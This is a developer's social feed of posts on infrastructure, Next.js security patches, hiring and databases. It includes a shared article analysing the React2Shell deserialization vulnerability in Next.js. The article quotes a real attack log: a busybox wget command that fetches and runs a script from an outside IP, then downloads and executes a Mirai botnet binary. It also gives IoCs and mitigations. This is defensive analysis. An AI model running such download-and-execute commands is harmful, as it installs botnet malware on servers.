Profile img

Juntai Park

@arkjun@hackers.pub · 65 following · 90 followers

中年(중년)中小企業(중소기업) 開發者(개발자), 90年代(년대) Console Gamer(콘솔 게이머). 좋은 하루를 繼續(계속)해 나아간다. 좋은 하루가 모이면 좋은 人生(인생)이 된다.

韓国人のプログラマー、40代、小学生の息子とゲームするのが幸せ😃💕龍が如く 、ゼルダの伝説、マリオ、ピクミン好き

「いい1日を続ける」
いい1日を続けていけば、いい人生になる!

threads
@rkjun
x
@rkJun
uri.life
@arkjun@uri.life
GitHub
@arkjun
2

새해 복 많이 받으세요. 2026년에도 늘 좋은 일만 가득하시기를 바랍니다.

あけましておめでとうございます。 2026年も素敵な一年になりますように。

新年快乐!愿2026年带给您满满的好运与美好。

Happy New Year. May 2026 bring you happiness, success, and many wonderful moments.

2
4

한 해를 마무리하는 글을 블로그에 썼습니다: 〈聯合宇宙(연합우주)와 함께 한 2025()〉(한글 專用文(전용문)이쪽). 題目(제목) 그대로 聯合宇宙(연합우주)와 함께 했던 저의 한 해를 되돌아 보는 글입니다. 聯合宇宙(연합우주) 德分(덕분)에 많은 因緣(인연)과 이어지게 되어서 感謝(감사)하게 생각합니다.

3

Terraform & Kubernetes 도입 후기 (그리고 AI의 도움)

Juntai Park @arkjun@hackers.pub

Terraform & Kubernetes 도입 후기

최근 인프라 구성과 서비스 운영 전반에서 (늦었지만…) Terraform과 Kubernetes를 본격적으로 사용해 보았고, 생각보다 경험이 꽤 좋아서 기록 겸 공유해 둔다.

TL;DR

이걸 왜 이제 썼지. 진작 써볼 걸. (feat. 관리할 서버가 많아질수록 체감이 큼)

기존에 사용하던 방식

  1. 웹 브라우저 → AWS 콘솔에서 마우스 클릭으로 인프라 구성 (EC2 생성, 네트워크 설정 등)
  2. 로컬 서버에 Docker / Docker Compose 기반 운영

이번에 사용한 방식

Terraform (IaC)

  • VPC, Subnet, NAT, Kubernetes Cluster 까지 인프라를 코드로 선언
  • 변경 이력이 Git에 남아 변경 추적과 리뷰가 가능
  • 코드로 명확히 남기니 재사용성과 일관성이 크게 좋아짐
  • 콘솔 수작업이 줄어들어 휴먼 에러 감소
  • '이 인프라가 왜 이렇게 생겼는지'가 코드로 설명됨

내 경우는 NCP(Naver Cloud Platform) 를 사용했는데, 지원하는 리소스 범위가 제한적이라 일부는 여전히 웹 콘솔에서 수작업이 필요했다.

그럼에도 불구하고, Terraform을 도입한 만족도는 꽤 높았다.

Kubernetes

  • 배포, 롤링 업데이트(무중단), 오토스케일링이 정책 기반으로 자동 동작
  • 모든 설정을 yaml파일로 관리할 수 있는 점이 매우 편리
  • 서비스 디스커버리, 헬스 체크, 셀프 힐링 덕분에 운영 부담이 체감될 정도로 감소
  • Pod / Node / Resource 단위로 문제를 분리해서 볼 수 있어 장애 원인 추적이 수월
  • 서비스 규모가 커질수록 정리된 상태를 유지하기 쉬운 구조
  • GitLab CI + Container Registry + ArgoCD 조합의 배포 자동화 경험이 매우 만족스러웠음

그리고, AI의 도움

이번에 느낀 또 하나의 큰 포인트는 AI의 존재감이었다.

  • Terraform module 구조 설계, variable 정리
  • Kubernetes manifest 작성 및 리팩토링 (Deployment, HPA, Ingress 등)
  • 에러 메시지 / 이벤트 로그 해석
  • 필요한 CLI 명령어를 바로 바로 알려줌
  • “이 구성, 더 나은 패턴이 있는가?” 같은 설계 피드백
  • 문서를 처음부터 끝까지 파는 방식보다, AI와 대화하면서 검증하고 다듬는 흐름이 훨씬 효율적이었다.

결과적으로,

  • 러닝 커브는 여전히 존재하지만 AI를 보조 도구로 사용하면서 학습 속도와 시행착오 비용이 크게 줄어든 느낌

요약하자면,

  • 수많은(?) 장애와 벽에 부딪히는 순간에도 언제든 도움을 받을 수 있다는 점에서 덜 두려웠다.

부록) K8S, 다음에도 바로 쓸 것인가?

  • 서비스 초기부터 바로 도입할 것 같지는 않다 (K8S Cluster만 해도 NCP 기준 월 약 7만 원)
  • 초기에는 인스턴스 1~2대 + 오토스케일링 정도로 충분할 듯 (아예 오토스케일링이 필요 없는 경우도 많다)
  • 사용하는 인스턴스 수가 늘고, 서비스 규모가 커지면 그때 도입을 고민
  • 사용 경험은 긍정적이지만 작은 서비스에는 확실히 오버스펙
  • 서버에 바로 SSH 접근해서 띄우고 로그보고 재기동 시키고 하는 게 더 편안한 1인이라, 그런 거 못할 때 가끔 불편하게 느껴지기는 했음 (물론 셸 접근은 가능하나, 그러기에는 Pod이 너무 많..)

정리하면

  • Terraform: 서비스 초기부터 도입하고 싶다
  • Kubernetes: 상황에 따라 선택, 작은 서비스라면 초반 도입은 X
Read more →
3

Just had someone leave feedback on my F/OSS project saying “maybe that's fine if a product is focused on your Chinese community.”

I'm Korean. Every single piece of documentation is in English. There's nothing in Chinese anywhere in the project.

This kind of microaggression is exhausting. As a non-white maintainer, you deal with these assumptions constantly—people who feel entitled to your labor while casually othering you based on your name.

It chips away at your motivation. It makes you wonder why you bother.

https://github.com/dahlia/optique/issues/59#issuecomment-3678606022

0
14
1
7

Juntai Park shared the below article:

React2Shell 취약점의 특성을 알아보자

고남현 @gnh1201@hackers.pub

React2Shell 취약점이란?

외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.

이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.

특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.

특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.

자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.

역직렬화(Deserialization) 과정은 왜 위험한가?

실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.

  1. 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
  2. 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
  3. 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.

이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.

알려진 역직렬화 취약점 사례 (언어 및 생태계별)

역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.

언어 / 생태계역직렬화 취약점 사례주요 공통점
JavaCVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind)외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생
.NET (C# / VB.NET)CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase)BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행
PythonCVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS)pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거
PHP (WP)CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress)unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생
RubyCVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal)YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행
JavaScript / Node.jsCVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript)구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석
GoCVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul)Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS
RustGHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험
Kotlin / AndroidCVE-2024-43080 (Android) / CVE-2024-10382 (Android Car)Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS
C / C++CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf)Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족
Swift / iOSCVE-2021-32742 (Vapor)외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출
산업용 (ICS/OT)CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC)프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능

역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.

이제 사전 정보 없이도 공격 특성을 읽을 수 있다.

역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.

여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.

  • https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
  • https://github.com/msanft/CVE-2025-55182/blob/main/poc.py

여기서 알 수 있는 정보는 다음과 같다.

  1. 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
  2. 생성자 수준의 키워드 (__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.
  3. then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.
  4. 페이로드의 value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다.
  5. 공격 코드로 보이는 _response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.
  6. 결국 JSON 역직렬화 과정이 일어나면서, then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.
  7. 공격 절차에 포함되는 Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.

공격자는 이 취약점을 이용해서 뭘하나?

Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.

(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
 cd /dev; \
 busybox wget http://31.56.27.76/n2/x86; \
 chmod 777 x86; \
 ./x86 reactOnMynuts)

이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.

그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.

  • https://www.virustotal.com/gui/file/858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (33/65 security vendors flagged this file as malicious)

(그래 너 나쁜거 알았으니 그만 알아보자)

관련 IoC 는 다음과 같다.

  • 3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)
  • 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)
  • http://193.34.213.150/nuts/bolts (URL)
  • http://31.56.27.76/n2/x86 (URL)

범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.

추가 분석은 아래 링크에서 확인할 수 있다.

  • https://www.mbsd.jp/research/20251211/react2shell/
  • https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home

이 공격을 어떻게 완화해야할까?

버전 업데이트로 해결하기

Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.

Vulnerable version Patched release
Next.js 15.0.x 15.0.5
Next.js 15.1.x 15.1.9
Next.js 15.2.x 15.2.6
Next.js 15.3.x 15.3.6
Next.js 15.4.x 15.4.8
Next.js 15.5.x 15.5.7
Next.js 16.0.x 16.0.10
Next.js 14 canaries after 14.3.0-canary.76 Downgrade to 14.3.0-canary.76 (not vulnerable)
Next.js 15 canaries before 15.6.0-canary.58 15.6.0-canary.58
Next.js 16 canaries before 16.1.0-canary.12 16.1.0-canary.12 and after

혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.

  • https://github.com/vercel-labs/fix-react2shell-next

방화벽(WAF 등) 규칙의 개선으로 완화하기

Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.

Read more →
1
2

最近、社内の(自社)メッセンジャーの利用をやめ、Discord を主な協業ツールとして活用している。 Webhook 用のチャンネルが一つずつ増えるにつれて活用度と満足度も高まり、全体としてかなりうまく使えていると感じている。

Slack も優れたツールではあるが、無料プランでは90日を過ぎたメッセージを確認できない点がやや残念だ。そのため、現時点の会社の状況で、Discord よりも Slack を有料で使うだけの明確なメリットがあるかというと、正直なところ判断が難しい。

一方で悩ましいのは、社外、とくに大企業の顧客との協業において、Discord を公式な協業ツールとして提案しづらい点である。ゲーミング向けメッセンジャーというイメージが依然として強く、積極的に推し出すには少し躊躇してしまう。

とはいえ、オープンソースや開発者向けのコミュニティでは、以前から Discord がかなり活発に使われている印象もある。(これは、ひとまず韓国に限った話かもしれない。)

1
2
4
1

https://nextjs.org/blog/security-update-2025-12-11

Next.js의 추가 보안 업데이트가 있습니다.

지난주에 CVE-2025-66478 보안취약점때문에 부랴부랴 패키지 업데이트한 기억이 있는데, 이번에도 몇개 패치되었네요.

Next.js를 App Router 방식으로 쓰는 개발자분들은 잊지 말고 업데이트하셔요.

fix-react2shell-next 패키지로 검사 및 업데이트 가능합니다.

❯ npx fix-react2shell-next

fix-react2shell-next - Next.js vulnerability scanner

Checking for 4 known vulnerabilities:

  - CVE-2025-66478 (critical): Remote code execution via crafted RSC payload
  - CVE-2025-55184 (high): DoS via malicious HTTP request causing server to hang and consume CPU
  - CVE-2025-55183 (medium): Compiled Server Action source code can be exposed via malicious request
  - CVE-2025-67779 (high): Incomplete fix for CVE-2025-55184 DoS via malicious RSC payload causing infinite loop

...
3

지난주 금요일에 Next.js의 보안취약점 cvss 10 (필수패치해야하는) 소식이 나와서 바로 패치대응했다. (App router 방식을 쓰면 무적권 패치해야 한다) 그리고 이번주에는 Cloudflare DNS를 쓰는 곳에 모두 Zero Trust를 도입했고 이제야(?) 마음이 편해졌다.

덧) 허용된 IP 만 By Pass 하거나, 사내 도메인 메일 인증 정책을 추가했다.

1
3
5

이 소식을 오늘 아침에야 알게되어, 부랴부랴(?) React / Next.js 의 버전 업데이트 패치를 했습니다.

  • RSC보안취약점이라서, Next.js기반으로 App router 방식을 쓰는 프로젝트 하시는 분들중에 아직 소식을 못들었다면 패치 업데이트하시면 좋을 것 같네요!

(예시)

  • Next.js 의 현재 사용중인 버전이 15.3.0 이다. 15.3.6 으로 업데이트하셔야 합니다.
  • Next.js 의 현재 사용중인 버전이 15.5.0 이다. 15.5.7 로 업데이트 하셔야 해요.

관련링크: https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp

React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

요약 보안취약점 (CVE-2025-66478, cve-2025-55182) 대응을 위한 React / Next.js 업데이트가 필요함.

사실 정확히는 Next.js 보다도 RSC기반이면 무조건 패치 업데이트해야 하는...

추가 관련 링크

1

회사에서 디스코드로 하는 일 모음

  1. 이슈트래커에 내 일감 등록되었는지 멘션 알림
  2. 서비스 중 업타임 (업다운) 알림
  3. 젠킨스 배포 시작,종료 (성공실패) 알림
  4. Gitlab CI Docker 빌드, 컨테이너 레지스트리 정상 업로드 알림
  5. ArgoCD 상태알림 (정상 싱크, 배포)
  6. 봇으로 사내 음악 공유 (봇 대기열에 노래 추가해서 같이듣기)

6번이 제일 유용합니..

(다른 거 더 추천 받습니다..)

2

Hackers Public @ Seoul 송년회 ---- 2025년의 마지막을 해커들과 함께해요.

Hackers' Public @ Seoul 송년 네트워킹 밋업은 발표보다 대화, 형식보다 연결을 중심으로 진행됩니다. 라이트닝 토크도 지원받습니다. 만들었던 것·배운 것·고민했던 이야기를 자유롭게 얘기해보도록 해요.

많은 관심 부탁드립니다~

21
1
3

大量の応募者の中から悩みに悩んで選んだエンジニアが、出社予定日の当日になっても来ない。しかも連絡も取れず、電話も切られる始末…。人への信頼がまたしても粉々になった一日だった。

「一緒に働いてから問題になるよりは、まだマシだった」とポジティブ変換しようとしてるけど、それでも「人って基本的には善良だよね」って信じようとしていた自分は……(いや無理だろこれ)。

2
4

오는 11() 8() 光云大學校(광운대학교)에서 開催(개최)되는 FOSS for All 컨퍼런스 2025에서 제가 〈야크 셰이빙: 새로운 오픈 소스의 原動力(원동력)〉이라는 主題(주제)基調演說(기조연설)을 하게 되었습니다!

올해 처음 열리는 FOSS for All 컨퍼런스는 “Free and Open Source Software for All”이라는 슬로건 아래, 모두를 ()한 오픈 소스 컨퍼런스를 目標(목표)로 하는 非營利(비영리) 오픈 소스 커뮤니티 컨퍼런스입니다.

파란色 背景의 FOSS for All 컨퍼런스 2025 發表者 카드. 右側 아래에는 發表者 洪民憙의 寫眞이 있고, 中央의 흰色 말風船 안에는 「Keynote」라는 文句와 함께 發表 題目 〈야크 셰이빙: 새로운 오픈 소스의 原動力〉이 쓰여 있다.
15
0
0
1

2025년 연말, 중소기업 개발자 채용에 대한 단상

Juntai Park @arkjun@hackers.pub

회사의 면접 과정에 참여하면서 신입 개발자 채용의 어려움을 실감하게 되었다는 내용입니다. 지원자들의 높은 경쟁률과 뛰어난 스펙, 열정적인 준비에 감탄하면서도, 채용 인원의 제한으로 인해 안타까움을 느낍니다. 만약 자신이 지금 신입 구직자라면 합격하기 어려울 것이라는 생각과 함께, 20대든 40대든 모두가 버티고 배우며 나아가야 할 시기임을 강조합니다. 40대 중반 개발자의 주관적인 관점이지만, 현재 개발자 채용 시장의 현실을 엿볼 수 있는 글입니다.

Read more →
2

私は幼い頃から、典型的な男性性とは距離が有りました。私の名前である「民憙ミンヒ」も、韓国語ではかなり女性的な語感を持つ名前なので、自ら男性としてのアイデンティティを感じることがさらに難しかったのかもしれません。

長い間、社会は私を男性として見なし、私も特にその範疇に抵抗することはありませんでした。ただそういうものだと思って生きてきました。

しかし時間が経つにつれて、次第に気づくようになりました。私は単に社会が男性に要求するものを欠如しているのではなく、いわゆる「男性的価値」と呼ばれるものを、そもそも追求していないということを。時には積極的に拒否することさえあります。

そして幸運にも、配偶者の俐思リサ@tokolovesme금강토)と出会い、お互いに深く率直な対話を交わすうちに、長い間感じていながら言語化できなかったことを、ついに表現できるようになりました。私は典型的なシスジェンダーの異性愛者男性とは、根本的に違うということを。

私はノンバイナリーであり、バイセクシュアルです。

長らく自分を男性として紹介してきたせいで、ノンバイナリーと自称することがまだ少し恥ずかしく、不慣れでもありますが、それでも親しい人々には少しずつこの真実を打ち明けようとしています。

1

프로젝트 시작전에, tRPC의 도입을 고민하다가, 학습비용과 프로젝트 기간에 대한 압박이 있어서 일단은 쓰지 않고 진행하고 있는데, Client와 Backend에서 타입일치를 위해서, 동일한 모델 선언이 반복적으로 일어나다 보니 (한쪽의 모델을 참조해서 쓸 수 있게 반쯤 자동화되어 있기는 하지만) 다음에는 (tRPC가 아니라도, 타입불일치를 막을 수 있는 어떤 장치나 무언가를) 도입해야겠다는 생각이 든다.

3

작은 SI 중소기업의 신입,주니어 개발자 채용공고에 왜 이렇게 지원자가 많은가 (약 600명이 넘는 지원자가 몰렸다.) 채용시장이 많이 안좋은가 의문을 갖고 있었는데, 문득 (혹시나) 회사의 복지정책 중 하나인 간식무제한제공때문이 아닐까 하는 생각이 들었다. (일단은 인하우스 개발인 점도 한몫하겠지만)

3

슬슬 맥미니의 용량 부족 압박이 발생하여, gdu-go[1]를 설치하고 용량 확인을 했더니 Cursor가 100GB, VSCode 가 75GB를 차지하고 있었던 건에 대하여

  • 정확히는 User Library/Application Support폴더안에 있는 Cursor 폴더와 Code 폴더
 --- /Users/arkjun/Library/Application Support ---
                         /..
  100.9 GiB █████▏    ▏/Cursor
   74.4 GiB ███▊      ▏/Code
    7.3 GiB ▎         ▏/Google
    2.2 GiB           ▏/Microsoft
    1.8 GiB           ▏/Comet

덧) 범인은 Java 프로젝트 당시에 생겨난 hprof 확장자파일들 때문이었다. (파일 하나에 9기가 정도하는 파일들이 여럿 확인되었다)


  1. About Fast disk usage analyzer with console interface written in Go https://github.com/dundee/gdu ↩︎

gdu 로 용량 확인한 화면
2

とりあえずインストールしたブラウザが8個になった。もうどれで開けばいいか分からん。だいたいChrome使うけどね。

  1. Safari
  2. Chrome
  3. Firefox
  4. Microsoft Edge
  5. Dia
  6. Zen
  7. Comet
  8. ChatGPT Atlas
1
1
  • 일전에 @hongminhee洪 民憙 (Hong Minhee) 님이 만든 Upyo를 그때 당시 진행하던 프로젝트에 도입하여, AWS환경(SES)에서 잘 사용하고 있다. (감사합니다.)
  • 이번 프로젝트도 그때 프로젝트 소스를 기반으로 진행하고 있는데, 클라우드만은 NCP(Naver Cloud Platform)환경으로 해야해서, SMTP옵션으로 하면 되겠다 싶고 넘어갔었는데, 막상 연동하려니 NCP 메일발송서비스에는 SMTP옵션이 없다.
  • Cloud Outbound Mailer 개요를 참고해 보면 RESTful 형태로만 지원한다.
  • 결국 이번 프로젝트에는 Upyo를 적용하지 못하게 된 이야기
0

韓国のある小さな中小IT企業で、未経験〜3年目ほどのエンジニアを募集したところ、たった2日で150名以上の応募があった。

それを見ると、40代半ばの中小企業エンジニアの人生も楽ではないけれど、 20代・30代の若手エンジニアたちの人生も決して楽ではないのだと思う。

20年前も就職は難しかったが、今の方が環境的にはずっと良いはずなのに、体感的な就職の難しさはあまり変わっていない気がする。

コロナ禍の頃を思い出すと、あの時のエンジニアの待遇は今とは比べものにならないほど良かった。「エンジニア戦国時代」とまで言われたあの時代を思うと、今の状況は本当に皮肉だ。

春は、もう一度訪れるのだろうか。

── これは、韓国の小さな中小IT企業の一人のエンジニアの視点からの話である。

5

사내 진행 중인 프로젝트가 네이버 클라우드 플랫폼 (Naver Cloud Platform)기반이라서 바닥부터 하나씩 인프라 설정을 잡고 있는데 (VPC 부터 Subnet, Object Storage, NAT GW 생성) 콘솔에서 하는 것도 불편하다고 생각하지는 않지만, 본격적으로 Terraform IaC설정으로 잡고 있는데 너무 편하다. (오래전 셀프스터디만 해보고 실무에 처음 적용해 보는 1인) 다 지원되는 건 아니라서 (CDN+이나 Global Edge는 콘솔에서 생성해야 함) 지원되는 일부만 쓰고 있지만 그래도 너무 좋다. 다음에 AWS를 바닥부터 잡게 된다면 그때에도 꼭 Terraform (혹은 유사 IaC 도입)을 써야겠다고 다짐했다. (인프라 코드 이력 관리까지 할 수 있으니 안 할 이유가 없다!)

아무튼 NCP설정도 약간의 이질감은 있어도 AWS와 비교해 설정에 큰 차이가 없고, 더구나 AI와 함께라면 두려울 게 없다. (물론 다소 헤맬 것으로 예상되는 NKS 설정 + 쿠버네티스 환경 구축 단계가 남았다. 이것도 처음이라 -_-)

이래저래 AI (ChatGPT, Cloude Code)의 도움을 받으면서 진행하고 있는데 가끔 AI가 쉽게 설명해 주는 것도 맘에 든다.

예를 들면,

💡 HA란? HA (High Availability) = 시스템이 장애가 나도 서비스를 멈추지 않게 하는 설계
즉, “하나가 죽어도 전체는 안 멈추게” 만드는 구조예요. 비유로 쉽게 말하면
🏢 **노드(Node)**를 “직원”이라고 생각해보세요.
한 명이 병가를 내더라도 회사가 돌아가려면 대체 인력이 있어야 하죠.
• 노드 1개 = 직원 1명 → 아프면 회사 멈춤 ❌
• 노드 3개 = 직원 3명 → 한 명 아파도 나머지 둘이 처리 ✅
이게 바로 HA (고가용성) 구조예요.

(뭔가 안까먹을 것만 같은 쉬운 비유였다)

그 외 추가 잡담(?)

  1. NCP 의 비용이 생각보다 저렴하지 않지만 (사실 클라우드 자체가 싸진 않지만 여튼 AWS랑 비슷하거나 조금 더 비싼 느낌), 국내 클라우드사업자인 만큼 잘 되었으면 좋겠다.
  2. NCP 쓰면서 막히거나 어려운 점들은 고객센터 문의사항을 통해 피드백을 빠르게 받을 수 있어서 좋았다!
  3. 나는 최근 얼마전까지 네이버클라우드플랫폼 (NCP)과 NHN클라우드가 같은 회사인 줄 알았다. 둘은 다른 회사다.
4

개발자들이 연합우주에 잘 오지 않는 이유는 연합우주로 취업하기 어렵기 때문이다 연합우주 카르텔을 만들어서 서로 밀고 끌고 해줘야 한다!! (절대 제가 일자리를 알아보고 있어서 하는 말입니다)

20
3

연휴이후 첫 출근, 한글이름 정렬이 안된다는 오류를 받아서, order by name 을 빼먹었을 리 없다고 생각하면서, 오류를 추적했는데,

  • 코드는 당연히 order by 가 적용되어 있었고,

결과적으로 문제는 PostgreSQL에서 한글 ORDER BY 정렬 문제 해결하기 COLLATE 이슈와 동일한 현상이었다.

(내부 docker postgre:17.4 와 AWS RDS PostgreSQL 17.2 모두) 기본값 en_US.UTF-8 이 적용되어 있었고, 한글 정렬순서가 올바르게 나오지 않았다.

SELECT datname, datcollate, datctype
FROM pg_database
WHERE datname = current_database();
|datname |datcollate |datctype   |
|--------|-----------|-----------|
|postgres|en_US.UTF-8|en_US.UTF-8|

ko_KR.UTF-8 로 새 로케일 지정해서 데이터베이스 새로 만들고, 덤프 백업 & 복원처리를 진행해서 해결은 완료했는데, 간단하게 COLLATE "C" 로도 한글정렬문제를 해결 할 수 있겠다 싶었는데, ChatGPT와 이것저것 논의해본 결과(?) 문자코드순 정렬이라서 사전식 정렬과는 다소 차이가 있어서 완전한 해결책은 아닌 듯 싶다. (비슷하게나마 해결은 되지만)

데이터베이스를 새롭게 만드는 게 어려우면, 특정 컬럼에만 COLLATE 를 지정해서 변경할 수 있다.

ALTER TABLE 테이블명
ALTER COLUMN 컬럼명 TYPE 데이터타입 COLLATE "C";

서비스가 아직 한국어와 영어만 지원해서, 별다른 고민없이 ko_KR.UTF-8로 처리하기는 했는데, 일본어나 중국어까지 지원하면 결국 Collation을 C 로 해야하는 것은 아닌가 싶은 생각도 들고, ko_KR.UTF-8에서 일본어,중국어도 다 잘 정렬되지 않을까 싶은 생각도 들고, 혹은 정렬이 중요한 포인트라면 언어별로 컬럼을 파야할 것인가 하는 고민은 있는데, 일단은(?) 나중에 다시 고민하기로 했다.

7
21
4
0

Optique 0.6.0 is adding shell completion! We already support:

  • Bash
  • zsh
  • fish
  • PowerShell

This covers most users, but should we add more niche shells? Your input helps us prioritize!

5

@arkjunJuntai Park

귀하께서 요청하신 둔병대교 VMS 운용 프로그램 사용자 접속 제한에 대해서는 최초 VMS 설치 시 운용하여 비밀번호가 노출됐던 프로그램은 삭제하고 내부 운용 프로그램 사용을 통해 관리자만 접근 할 수 있도록 조치하였음을 알려드립니다.

